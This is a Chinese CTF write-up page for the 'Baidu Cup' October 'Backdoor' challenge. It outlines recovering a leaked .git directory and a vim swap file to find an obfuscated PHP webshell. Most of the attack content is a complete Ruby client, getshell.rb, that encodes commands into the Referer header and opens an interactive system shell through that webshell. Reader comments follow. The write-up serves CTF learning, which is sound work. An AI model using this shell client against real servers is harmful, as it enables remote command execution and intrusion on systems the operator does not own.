backdoor
有信众测Web就业班
下载App 登录 丨 注册
成为优享会员
成为优享会员
首页 知识体系 职业成长 CTF大本营 培训认证 企安殿 安全意识 春秋学堂 有信众测 社区
CTF大本营 > Writeup分享 > “百度杯”CTF比赛 十月场Backdoor
“百度杯”CTF比赛 十月场Backdoor
lawliet2018-03-21 14:26:13341596
扫描发现了.git
用githack,下载.git的泄露,后浏览
访问b4ckdo0r.php文件
http://484506d1ca4746d1806c859ae3d1d85fb55bb9b9a2e0403a.game.ichunqiu.com/Challenges/b4ckdo0r.php
发现.b4ckdo0r.php.swo 的vim缓存文件,下载
http://484506d1ca4746d1806c859ae3d1d85fb55bb9b9a2e0403a.game.ichunqiu.com/Challenges/.b4ckdo0r.php.swo
修改后缀为swp,编辑b4ckdo0r.php文件
恢复文件内容为:
发现代码经过混淆,打印看看混淆的内容
$L进行美化后的代码为(注释分析):
根据代码,对webshell写了一个利用的脚本,得到了flag
下面是getshell.rb的源代码,修改下面的php目录(即下面的url)即可
#!/usr/bin/env ruby# author Lrequire 'open-uri'require 'uri'require 'digest'require 'zlib'require 'base64'class Client def initialize(keyh, keyf, url) @keyh = keyh @keyf = keyf @url = url @xorkey = keyh + keyf @langs = 'zh-CH,zh-TW;q=0.1,zh-HK;q=0.2,en-US;q=0.3' langs2head = 'zz' @md5h = Digest::MD5.hexdigest(langs2head + keyh)[0,3] @md5f = Digest::MD5.hexdigest(langs2head + keyf)[0,3] @rep_re = /<#@xorkey>(.*?)<\/#@xorkey>/ end def xor(payload) cyclekey = @xorkey.each_byte.cycle payload.each_byte.map{ |ord| ord ^ cyclekey.next }.pack 'C*' end def encode_payload cmd payload = Zlib::Deflate.deflate(cmd) payload = xor(payload) payload = Base64.urlsafe_encode64(payload) query = [['q0', 'L'], ['q1', @md5h], ['q2', payload], ['q3', @md5f]] "#{@url}?#{URI.encode_www_form(query)}" end def decode_payload code msg = Base64.urlsafe_decode64(code) msg = xor(msg) Zlib::Inflate.inflate(msg) end def exploit cmd referer = encode_payload cmd begin open(@url, 'Accept-Language' => @langs, 'Referer' => referer) do |f| @rep_re =~ f.read() end decode_payload $1 rescue abort "[!!!] " + $!.to_s end endendif __FILE__ == $0 url = 'http://756be6f7a1384100a5c6552741b0e59d6ae77775a3a24a17.game.ichunqiu.com/Challenges/b4ckdo0r.php' keyh = '4f7f' keyf = '28d7' client = Client.new(keyh, keyf, url) system_cmd = false loop do prompt = system_cmd ? 'shell > ' : 'phpshell > ' print prompt cmd = gets(chomp:true) case cmd when 'shell' system_cmd = true when 'exit', 'quit' break unless system_cmd system_cmd = false else cmd = "system('#{cmd}');" if system_cmd puts client.exploit cmd puts end endend
【点击这里去答题】
3
Writeup内容是否精彩?快分享一下你的心情吧
0/150 Writeup内容是否精彩?快分享一下你的心情吧!已有账号直接 [ 登录 ],未注册用户请先进行[ 注册 ]操作
评论
最新评论
淚笑发表于:2018-10-13 18:57:35
githack都不会还原.git文件夹,,,到底怎么回退的???
回复
我是ccr呀发表于:2018-08-03 17:34:43
我更想问怎么发现b4ckdo0r.php.swo 的vim缓存文件的呀????
回复
kuroneko发表于:2018-07-26 14:15:22
大神,githack好像不会还原.git文件夹,请问writeup里的git版本回退是怎么实现的?
回复
我是ccr呀回复kuroneko:2018-08-03 17:32:50
githack下载下来之后用git打开查看就好了
回复
eth10回复我是ccr呀:2018-08-08 18:17:36
不行啊,下载下来的是这个 求大佬指点
回复
白hack发表于:2018-07-05 15:07:26
怎么扫描出 .git文件的
回复
我是ccr呀回复白hack:2018-08-03 17:32:19
dirsearch
回复
首页上一页1下一页末页共1页
了解i春秋 加入i春秋 讲师招募 有信众测 协同育人 帮助中心 用户协议 邮箱:kefu@ichunqiu.com QQ群:827546392、556040588、234714762
版权所有 北京五一嘉峪科技有限公司
地址: 海淀区中关村软件广场C座
京ICP证150695号 京ICP备15029557号 京公网安备11010802027748号
0daybank
文章评论